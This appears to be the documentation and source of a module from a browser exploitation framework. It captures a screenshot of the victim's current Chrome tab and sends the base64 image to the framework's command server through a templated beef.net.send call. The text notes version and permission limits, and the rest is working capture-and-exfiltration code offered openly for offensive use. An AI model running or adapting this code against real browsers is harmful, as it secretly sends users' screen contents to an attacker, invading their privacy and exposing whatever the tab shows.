Internal Working

This module tries to take a screenshot of the current tab and returns it as base64 data. Only works if the chrome.tabs.captureVisibleTab method is available.

As of 2019, it does not work in the newer versions of Chrome. This method only works within the context of an extension having the <all_urls> permission.

chrome.tabs.captureVisibleTab(null, function(img) {
    beef.net.send('<%= @command_url %>', <%= @command_id %>, 'img: ' + img.toString());
});
